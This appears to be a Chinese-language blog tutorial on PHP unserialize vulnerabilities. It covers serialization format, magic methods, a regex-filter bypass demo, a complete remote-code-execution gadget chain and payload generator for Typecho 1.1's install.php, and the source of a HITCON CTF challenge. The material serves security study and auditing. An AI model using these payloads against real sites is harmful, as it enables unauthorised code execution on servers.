S1xHcL's Blog.

PHP-Audit Day11 unserialize反序列化漏洞

Word count: 4.1kReading time: 20 min
2022/10/11 Share

函数学习

unserialize

功能 :unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

定义mixed unserialize ( string $str )

Demo学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Template {
public $cacheFile = './cachefile';
public $template = '<div>Welcome back %s</div>';

public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

public function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}

public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);

学习反序列化之前,先了解部分基础内容。

序列化和反序列化

1
2
serialize()     //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

序列化和反序列化是相对的,序列化是将对象转换成字符串,反序列化是将字符串还原成一个对象。

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $name = "zhangsan";
public $tel = '110';
protected $age = 18;
}

$test = new test();
$date = serialize($test);
echo $date;
?>

序列化后的结果为

1
O:4:"test":3:{s:10:"testname";s:8:"zhangsan";s:3:"tel";s:3:"110";s:6:"*age";i:18;}

其中 O:4:"test":3 指 o 为 Object 类型,对象名有4个字符,为 test,其中有3个类属性,{} 里为类属性的内容。

类中不同变量受到不同修饰符 public , private, protected 修饰进行序列化时,序列化后的长度和名称会发生改变。

  • private
1
2
3
4
5
// serialize
private $name = "zhangsan";

// unserialize
s:10:"testname";s:8:"zhangsan";

使用 private 关键字,会在变量名 name 前加上类的名称 test ,并且长度会比正常字符串多 2 个字节,所以总长度为10。

\x00 + [私有成员所在类名] + \x00 [变量名]

  • public
1
2
3
4
5
// serialize
public $tel = '110';

// unserialize
s:3:"tel";s:3:"110";

使用 public 关键字,变量 tel 的总正常为4,正常输出。

  • protected
1
2
3
4
5
// serialize
protected $age = 18;

// unserialize
s:6:"*age";i:18;

使用 protected 关键字,会在变量名 age 前加上 * ,并且长度会比正常字符串多 3 个字节,所以总长度为6。

\x00 + * + \x00 + [变量名]

魔术方法

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。

常见方法:

1
2
3
4
5
6
7
8
9
10
11
12
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

Demo分析

在第18~22行中,需要通过 file_put_contents() 函数写文件

1
2
3
4
5
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}

其中 $cacheFile 赋值给$file 做为文件名,$template 赋值给 $tpl 为文件内容。跟进 createCache() 查看在第31~33行处调用

1
2
3
public function __destruct() {
$this->createCache();
}

这里使用魔术方法 __destruct() 在被销毁时调用。回到第6~7行逐步跟进

1
2
3
4
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}

该部分在第35行中实例化对象中自动执行,获取 $_COOKIE中的 data 字段内容,然后使用 loadData() 去反序列化内容。

1
2
3
4
5
6
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

在反序列化前,对 $data 进行两处过滤。

1
2
substr($data, 0, 2) !== 'O:'
!preg_match('/O:\d:/', $data)

第一处是开头两个字符不能为 O: ,在php中可反序列化的类型有 String,IntegerBooleanNUllArrayObject,去掉 Object 外可以用 Array 进行绕过。第二处是正则匹配过滤,它会匹配 O:后不能存在任何数字,绕过方法为对象长度前添加一个 + 号。

原理:php反序列unserialize的一个小特性

构造序列化文件

1
2
3
4
5
6
7
8
<?php
class Template{
public $cacheFile = './phpinfo.php';
public $template = '<?phpinfo();?>';
}
$temp[] = new Template();
echo serialize($temp);
?>

生成后的需要在对象长度前增加 +

1
a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:13:"./phpinfo.php";s:8:"template";s:18:"<?php phpinfo();?>";}}

对生成的Payload进行URL编码后放在Cookie中发起请求

案例分析

案例分析选取的是 Typecho-1.1 版本,在该版本中,用户可通过反序列化Cookie数据进行前台Getshell。该漏洞出现于 install.php 文件 230行

1
2
3
4
5
6
7
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

在第2行处,对 Cookie 中的数据进行 base64 解码后进行反序列化操作,参数值可控。但进入到这一步存在 2 处限制条件,在 install.php 文件 58~77 行处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

系统会判断是否已经安装和拦截跨站请求

  • 判断是否安装

第2行处会从通过GET获取是否存在 finish 参数,如果没有就退出

  • 拦截跨站请求

第7行会判断是否有 GET 请求或者 POST 请求,第8行处判断 referer 是否为空。第17行判断 host 头字段是否与 referer 中 host 地址相同,不同则退出

回到反序列化处继续分析,跟进查看 Typecho_Cookie 类中的 get 方法,文件路径在 typecho/var/Typecho/Cookie.php 第 83 行

1
2
3
4
5
6
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}

$key 参数从 Cookie 或者 POST 处获取,数据可控

1
2
3
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix'])

反序列化后的结果存储在 $config 中,然后 $config['adapter']$config['prefix'] 做为 Typecho_Db 类初始化变量创建类实例。跟进查看对应构造函数,文件在 typecho/var/Typecho/Db.php 中 114~135 行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

在第7行中, 对传入的 $adapterName 变量进行了字符串拼接操作,如果 $adapterName 类型为对象,则会自动调用该类的魔术方法 __toString()。这个可以作为反序列化的触发点,全局搜索查看哪里有可进一步的利用点

一共找到3处,逐步查看

  1. typecho/var/Typecho/Config.php
1
2
3
4
public function __toString()
{
return serialize($this->_currentConfig);
}

使用 serialize() 函数序列化操作,程序在序列化时触发 __Sleep(),如果存在可利用的则可进一步利用

  1. typecho/var/Typecho/Feed.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function __toString()
{
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

if (self::RSS1 == $this->_type) {
...
} else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

$content = '';
$lastUpdate = 0;

foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
}
}
}

在第 25 行处,$item['author']->screenName ,如果$item['author'] 中存储的类没有 screenName 属性或者该属性为私有属性,会触发该类中的 __get() 魔术方法,可作为利用点

  1. typecho/var/Typecho/Db/Query.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

该方法用于构造sql语句,没有执行操作

目前 typecho/var/Typecho/Feed.php 中存在可利用点,全局搜索 __get() ,在文件 typecho/var/Typecho/Request.php 中找到可利用方法

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

跟进 get() 函数,在同文件中第 295~307行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

该函数会检测 $key 是否在 $this->_params[$key] 数组中,如果存在则赋值给 $value 。不存在则将 value 赋值成 $defualt ,最后判断 $value 类型后将 $value 传入到 __applyFilter() 函数中。继续跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}

发现两个危险函数 array_map()call_user_func() 。该函数会先遍历$_filter 变量,如果$vaule 是数组使用array_map(),否则使用 call_user_func() ,这两个函数都可作为利用点,$filter 可作为调用函数,$value 为函数参数,且这两个变量都来源于类变量,是通过反序列化可控的

回溯整个利用链,调用 array_map()call_user_func() 需要满足条件触发 __get() 方法,假设 $item['author'] 中存储 Typecho_Request 类实例,此时调用 $item['author']->screenName ,在Typecho_Request 类中没有该属性,就会调用类中的 __get($key) 方法,$key 传入的值为 screenName 。参数传递过程如下:$key='screenName'=>$this->_param[$key]=>$value

$this->_params['screenName'] 的值设置为想要执行的函数,构造 $this->_filter 为对应函数的参数值

1
2
3
4
5
class Typecho_Request
{
private $_params = array('screenName' => 'phpinfo()');
private $_filter = array('assert');
}

接下来查看Feed.phpTypecho_Feed 类的构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function __toString()
{
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

if (self::RSS1 == $this->_type) {
...
} else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

$content = '';
$lastUpdate = 0;

foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
}
}
}

如果调用第25行 __get() 魔术方法,需要满足第7行中 if (self::RSS2 == $this->_type)RSS2 的值程序已经提供

1
2
3
4
5
6
7
8
9
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;

public function __construct(){
$this->_items[] = array('author' => new Typecho_Request());
}
}

接下来查看 install.php

1
$db = new Typecho_Db($config['adapter'], $config['prefix']);

要触发 __construct() 需要两个参数,汇总payload为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class Typecho_Request
{
private $_params = array('screenName' => 'phpinfo()');
private $_filter = array('assert');
}

class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;

public function __construct(){
$this->_items[] = array('author' => new Typecho_Request());
}
}

$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($payload));

?>

构造完后访问会生成一段 base64 代码,根据 install.php 中的限制进行绕过

  1. GET请求中添加 finish
  2. 添加 Referer 头信息

但访问后会报错,这是因为在 install.php 中第54行使用 ob_start() 函数,该函数会对输出内容进行缓冲

因为在反序列化漏洞利用会触发异常,导致 ob_end_clean() 执行,原本的输出在缓冲区被清理。我们必须想一个办法强制退出,使得代码不会执行到 exception ,这样原本的缓冲区数据就会被输出出来。所以可以给命令执行后加入 exit 让其退出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class Typecho_Request
{
private $_params = array('screenName' => 'eval(\'phpinfo();exit;\')');
private $_filter = array('assert');
}

class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;

public function __construct(){
$this->_items[] = array('author' => new Typecho_Request());
}
}

$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($payload));

?>

漏洞复现

访问生成反序列化代码,然后访问 install.php 文件

案例学习

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
//index.php
<?php
include "config.php";

class HITCON{
public $method;
public $args;
public $conn;

function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}

function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";

$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}

function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}

function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);

if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}

function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}

function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}

function __close() {
mysql_close($this->conn);
}

function source() {
highlight_file(__FILE__);
}

function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}

function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';

function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}

?>
1
2
3
4
5
6
7
8
//config.php
<?php
$db_host = 'localhost';
$db_name = 'test';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>
1
2
3
4
5
6
// flag.php
<?php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";

?>

分析

CATALOG
  1. 1. 函数学习
  2. 2. Demo学习
    1. 2.1. 序列化和反序列化
    2. 2.2. 魔术方法
    3. 2.3. Demo分析
  3. 3. 案例分析
    1. 3.1. 漏洞复现
  4. 4. 案例学习
    1. 4.1. 源码
    2. 4.2. 分析